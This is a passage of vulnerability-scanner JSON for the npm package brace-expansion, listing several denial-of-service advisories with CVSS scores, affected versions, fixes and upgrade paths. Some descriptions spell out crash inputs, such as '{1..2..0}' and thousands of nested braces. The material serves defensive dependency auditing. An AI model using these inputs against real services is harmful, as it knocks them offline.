"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
